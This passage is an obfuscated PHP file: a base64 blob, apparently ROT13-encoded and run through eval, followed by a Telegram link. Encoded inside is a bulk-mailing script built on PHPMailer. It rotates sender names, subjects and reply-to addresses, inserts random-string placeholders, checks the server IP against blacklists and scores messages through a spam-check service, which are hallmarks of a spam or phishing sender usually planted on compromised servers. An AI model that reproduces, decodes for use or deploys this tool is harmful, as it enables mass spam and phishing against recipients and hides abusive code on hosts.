ctZnoiIHZxPSJyYXBicXIiIGFuenI9InJhcGJxciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxiY2d2YmEgJy4kb3ZnOC4nPjhvdmc8L2JjZ3ZiYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGJjZ3ZiYSAnLiRvdmc3Lic+N292ZzwvYmNndmJhPgogICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhICcuJG92YW5lbC4nPm92YW5lbDwvYmNndmJhPgogICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhICcuJG9uZnI2NC4nPm9uZnI2NDwvYmNndmJhPgogICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhICcuJGRoYmdycWNldmFnbm95ci4nPmRoYmdycS1jZXZhZ25veXI8L2JjZ3ZiYT4KCiAgICAgICAgICAgICAgICAgICAgPC9mcnlycGc+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0iZmhvenZnIiBweW5mZj0ib2dhIG9nYS1xcnNuaHlnIG9nYS1meiIgc2Jlej0ic2JleiIgYW56cj0ibnBndmJhIiBpbnlocj0iZnJhcSI+RlJBUTwvb2hnZ2JhPiBiZSA8biB1ZXJzPSIjIiBiYXB5dnB4PSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShcJ3NiZXpcJykuZmhvenZnKCk7IGVyZ2hlYSBzbnlmcjsiPnB1cnB4IEZjbnpOZmZuZmZ2YSBGcGJlcjwvbj4KICAgCiAgICAgICAgPC9zYmV6PgogICAgPC9xdmk+CiAgICA8cXZpIHB5bmZmPSJwYnkteXQtNiI+PG9lPgogICAgICAgIDx5bm9yeSBzYmU9ImpyeXkiPlZhZmdlaHBndmJhPC95bm9yeT4KICAgICAgICA8cXZpIHZxPSJqcnl5IiBweW5mZj0ianJ5eSBqcnl5Ij4KICAgICAgICAgICAgPHU0PkZyZWlyZSBWYXNiZXpuZ3ZiYTwvdTQ+CiAgICAgICAgICAgIDxoeT4KICAgICAgICAgICAgICAgIDx5dj5GcmVpcmUgVkMgTnFxZXJmZiA6IDxvPicuJF9GUkVJUkVbJ0ZSRUlSRV9OUVFFJ10uJyA8L28+IDxuIHVlcnM9Ij9wdXJweF92Yz0nLiRfRlJFSVJFWydGUkVJUkVfTlFRRSddLiciIGduZXRyZz0iX295bmF4IiBweW5mZj0ieW5vcnkgeW5vcnktY2V2em5lbCI+UHVycHggT3lucHh5dmZnIDx2IHB5bmZmPSJ0eWxjdXZwYmEgdHlsY3V2cGJhLWZybmVwdSI+PC92Pjwvbj48L3l2PgogICAgICAgICAgICAgICAgPHl2PkNVQyBJcmVmdmJhIDogPG8+Jy5jdWNpcmVmdmJhKCkuJzwvbz48L3l2PgogICAgICAgICAgICAgICAgCgogICAgICAgICAgICA8L2h5PgogICAgICAgICAgICA8dTQ+VVJZQzwvdTQ+CiAgICAgICAgICAgIDxoeT4KICAgICAgICAgICAgICAgIDx5dj5bLXJ6bnZ5LV0gOiA8bz5FcnB2aXJlIFJ6bnZ5PC9vPiAocnpudnloZnJlQHJ6bnZ5cWJ6bnZhLnBieik8L3l2PgogICAgICAgICAgICAgICAgPGh5PgogICAgICAgICAgICAgICAgICAgIDx5dj5bLXJ6bnZ5aGZyZS1dIDogPG8+UnpudnkgSGZyZTwvbz4gKHJ6bnZ5aGZyZSkgPC95dj4KICAgICAgICAgICAgICAgICAgICA8eXY+Wy1yem52eXFiem52YS1dIDogPG8+UnpudnkgSGZyZTwvbz4gKHJ6bnZ5cWJ6bnZhLnBieikgPC95dj4KICAgICAgICAgICAgICAgIDwvaHk+CiAgICAgICAgICAgICAgICA8eXY+Wy1ndnpyLV0gOiA8bz5RbmdyIG5hcSBHdnpyPC9vPiAoJy5xbmdyKCJ6L3EvTCB1OnY6ZiBuIiwgZ3Z6cigpKS4nKTwveXY+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx5dj5bLWVuYXFiemZnZXZhdC1dIDogPG8+RW5hcWJ6IGZnZXZhdCAoMC05LG4tbSk8L28+PC95dj4KICAgICAgICAgICAgICAgIDx5dj5bLWVuYXFiemFoem9yZS1dIDogPG8+RW5hcWJ6IGFoem9yZSAoMC05KSA8L28+PC95dj4KICAgICAgICAgICAgICAgIDx5dj5bLWVuYXFienlyZ2dyZWYtXSA6IDxvPkVuYXFieiBZcmdncmVmKG4tbSkgPC9vPjwveXY+CiAgICAgICAgICAgICAgICA8eXY+Wy1lbmFxYnp6cTUtXSA6IDxvPkVuYXFieiBaUTUgPC9vPjwveXY+CiAgICAgICAgICAgIDwvaHk+CiAgICAgICAgICAgIDx1ND5ya256Y3lyPC91ND4KICAgICAgICAgICAgRXJwcnZpcmUgUnpudnkgPSA8bz5oZnJlQHFiem52YS5wYno8L28+PG9lPgogICAgICAgICAgICA8aHk+CiAgICAgICAgICAgICAgICA8eXY+dXJ5eWIgPG8+Wy1yem52eWhmcmUtXTwvbz4gPSB1cnl5YiA8bz5oZnJlPC9vPjwveXY+CiAgICAgICAgICAgICAgICA8eXY+bGJoZSBxYnpudmEgdmYgPG8+Wy1yem52eXFiem52YS1dPC9vPiA9IExiaGUgUWJ6bnZhIHZmIDxvPnFiem52YS5wYno8L28+PC95dj4KICAgICAgICAgICAgICAgIDx5dj5sYmhlIHBicXIgdmYgIDxvPlstZW5hcWJ6enE1LV08L28+ID0gbGJoZSBwYnFyIHZmIDxvPnIxMG5xcDM5NDlvbjU5bm9vcjU2cjA1N3MyMHM4ODNyPC9vPjwveXY+CiAgICAgICAgICAgIDwvaHk+CgogICAgICAgICAgICA8dTY+b2wgPG8+PG4gdWVycz0idWdnYzovLycuJHlybnNbJ2pyb2Z2Z3InXS4nIj4nLiR5cm5zWydqcm9mdmdyJ10uJzwvbj48L28+PC91Nj4KICAgICAgICA8L3F2aT4KICAgIDwvcXZpPic7ICAKdnMoJF9DQkZHWyducGd2YmEnXT09ImZyYXEiKXsKICAgIGNldmFnICcgICAgPHF2aSBweW5mZj0icGJ5LXl0LTEyIj4nOwogICAgJHpudnl5dmZnPXJrY3licXIoIlxlXGEiLCAkcnpudnlZdmZnKTsKICAgICRhPXBiaGFnKCR6bnZ5eXZmZyk7CiAgICAkayA9MTsKICAgIHNiZXJucHUgKCR6bnZ5eXZmZyBuZiAkcnpudnkgKSB7CiAgICAgICAgY2V2YWcgJzxxdmkgcHluZmY9InBieS15dC0xIj5bJy4kay4nLycuJGEuJ108L3F2aT48cXZpIHB5bmZmPSJwYnkteXQtNCI+Jy4kcnpudnkuJzwvcXZpPic7CiAgICAgICAgdnMoIXlybnNabnZ5UHVycHgoJHJ6bnZ5KSkgewogICAgICAgICAgICBjZXZhZyAnPHF2aSBweW5mZj0icGJ5LXl0LTYiPjxmY25hIHB5bmZmPSJ5bm9yeSB5bm9yeS1xcnNuaHlnIj5WYXBiZWVycGcgUnpudnk8L2ZjbmE+PC9xdmk+JzsKICAgICAgICAgICAgY2V2YWcgIjxvZT5cZVxhIjsKICAgICAgICB9CiAgICAgICAgcnlmciB7CiAgICAgICAgICAgICR6bnZ5ID0gYXJqIENVQ1pudnlyZTsKICAgICAgICAgICAgJHpudnktPmZyZ1NlYnooeXJuc1B5cm5lKCRmcmFxcmVSem52eSwkcnpudnkpLHlybnNQeXJuZSgkZnJhcXJlQW56ciwkcnpudnkpKTsKICAgICAgICAgICAgJHpudnktPm5xcUVyY3lsR2IoeXJuc1B5cm5lKCRlcmN5bEdiLCRyem52eSkpOwogICAgICAgICAgICAkem52eS0+bnFxTnFxZXJmZigkcnpudnkpOwogICAgICAgICAgICAkem52eS0+Rmhvd3JwZyA9IHlybnNQeXJuZSgkZmhvd3JwZywkcnpudnkpOwogICAgICAgICAgICAkem52eS0+T2JxbCA9ICB5cm5zUHlybmUoJHpyZmZudHJZcmdncmUsJHJ6bnZ5KTsKICAgICAgICAgICAgdnMoJHpyZmZudHJHbGNyPT0xKXsKICAgICAgICAgICAgICAgICR6bnZ5LT5WZlVHWlkoZ2Vocik7CiAgICAgICAgICAgICAgICAkem52eS0+TnlnT2JxbCA9ZmdldmNfZ250Zih5cm5zUHlybmUoJHpyZmZudHJZcmdncmUsJHJ6bnZ5KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcnlmciAkem52eS0+VmZVR1pZKHNueWZyKTsKICAgICAgICAgICAgJHpudnktPlB1bmVGcmcgPSAkcHVuZWZyZzsKICAgICAgICAgICAgJHpudnktPlJhcGJxdmF0ID0gJHJhcGJxdmF0OwogICAgICAgICAgICBzYmUoJHY9MDsgJHY8cGJoYWcoJF9TVllSRlsnbmdnbnB1enJhZyddWydhbnpyJ10pOyAkdisrKSB7CiAgICAgICAgICAgICAgICB2cyAoJF9TVllSRlsnbmdnbnB1enJhZyddWydnemNfYW56ciddWyR2XSAhPSAiIil7CiAgICAgICAgICAgICAgICAgICAgJHpudnktPk5xcU5nZ25wdXpyYWcoJF9TVllSRlsnbmdnbnB1enJhZyddWydnemNfYW56ciddWyR2XSwkX1NWWVJGWyduZ2ducHV6cmFnJ11bJ2FuenInXVskdl0pOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgdnMgKCEkem52eS0+ZnJhcSgpKSB7CiAgICAgICAgICAgICAgICBycHViICc8cXZpIHB5bmZmPSJwYnkteXQtNiI+PGZjbmEgcHluZmY9Inlub3J5IHlub3J5LXFyc25oeWciPicudWd6eWZjcnB2bnlwdW5lZigkem52eS0+UmVlYmVWYXNiKS4nPC9mY25hPjwvcXZpPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcnlmciB7CiAgICAgICAgICAgICAgICBycHViICc8cXZpIHB5bmZmPSJwYnkteXQtNiI+PGZjbmEgcHluZmY9Inlub3J5IHlub3J5LWZocHByZmYiPkJ4PC9mY25hPjwvcXZpPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2V2YWcgIjxvZT5cZVxhIjsKICAgICAgICB9CiAgICAgICAgJGsrKzsKICAgICAgICBzYmUoJHggPSAwOyAkeCA8IDQwMDAwOyAkeCsrKSB7cnB1YiAnICc7fQogICAgfQoKfQpyeWZydnMoJF9DQkZHWyducGd2YmEnXT09ImZwYmVyIil7CiAgICAkem52eSA9IGFyaiBDVUNabnZ5cmU7CiAgICAkem52eS0+ZnJnU2Vieih5cm5zUHlybmUoJGZyYXFyZVJ6bnZ5LCRyem52eSkseXJuc1B5cm5lKCRmcmFxcmVBbnpyLCRyem52eSkpOwogICAgJHpudnktPm5xcUVyY3lsR2IoeXJuc1B5cm5lKCRlcmN5bEdiLCRyem52eSkpOwogICAgJHpudnktPm5xcU5xcWVyZmYoImhmcmVhbnpyQHFiem52YS5wYnoiKTsKICAgICR6bnZ5LT5GaG93cnBnID0geXJuc1B5cm5lKCRmaG93cnBnLCRyem52eSk7CiAgICAkem52eS0+T2JxbCA9ICB5cm5zUHlybmUoJHpyZmZudHJZcmdncmUsJHJ6bnZ5KTsKICAgIHZzKCR6cmZmbnRyR2xjcj09MSl7CiAgICAgICAgJHpudnktPlZmVUdaWShnZWhyKTsKICAgICAgICAkem52eS0+TnlnT2JxbCA9ZmdldmNfZ250Zih5cm5zUHlybmUoJHpyZmZudHJZcmdncmUsJHJ6bnZ5KSk7CiAgICB9CiAgICByeWZyICR6bnZ5LT5WZlVHWlkoc255ZnIpOwogICAgJHpudnktPlB1bmVGcmcgPSAkcHVuZWZyZzsKICAgICR6bnZ5LT5SYXBicXZhdCA9ICRyYXBicXZhdDsKICAgICR6bnZ5LT5jZXJGcmFxKCk7CiAgICAkenJmZm50clVybnFyZWY9JHpudnktPnRyZ0ZyYWdaVlpSWnJmZm50cigpOwogICAgJHB1ID0gcGhleV92YXZnKCk7CiAgICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOwogICAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hFWSwgJ3VnZ2M6Ly9mY256cHVycHguY2JmZ3puZXhuY2MucGJ6L3N2eWdyZScpOwogICAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0NCRkdTVlJZUUYsIHVnZ2Nfb2h2eXFfZGhyZWwobmVlbmwoJ3J6bnZ5JyA9PiAkenJmZm50clVybnFyZWYsJ2JjZ3ZiYWYnPT4neWJhdCcpKSk7CiAgICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOwogICAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0dWWlJCSEcsIDE1KTsKICAgICRlcmZjYmFmciA9IHBoZXlfcmtycCgkcHUpOwogICAgJGVyZmNiYWZyID0gd2ZiYV9xcnBicXIoJGVyZmNiYWZyKTsKICAgIGNldmFnICcgICAgPHF2aSBweW5mZj0icGJ5LXl0LTEyIj4nOwogICAgdnMgKCRlcmZjYmFmci0+ZmhwcHJmZiA9PSBHRUhSICl7CiAgICAgICAgJGZwYmVyID0gJGVyZmNiYWZyLT5mcGJlcjsKICAgICAgICB2cyAoJGZwYmVyID4gNSApICRweW5mZj0icW5hdHJlIjsKICAgICAgICByeWZyICRweW5mZj0iZmhwcHJmZiI7CiAgICAgICAgICAgIGNldmFnICc8cXZpIHB5bmZmPSJncmtnLScuJHB5bmZmLiciPkxiaGUgRmNuek5mZm5mZnZhIGZwYmVyIHZmICcuJGZwYmVyLicgIDwvcXZpPgo8cXZpPlNoeXkgRXJjYmVnIDogPGNlcj4nLiRlcmZjYmFmci0+ZXJjYmVnLic8L2Nlcj48L3F2aT4nOwpjZXZhZyAnICAgIDwvcXZpPic7CiAgICB9Cn0KY2V2YWcgJzwvb2JxbD4nOwo='))); ?>

https://t.me/RX1948 - 2025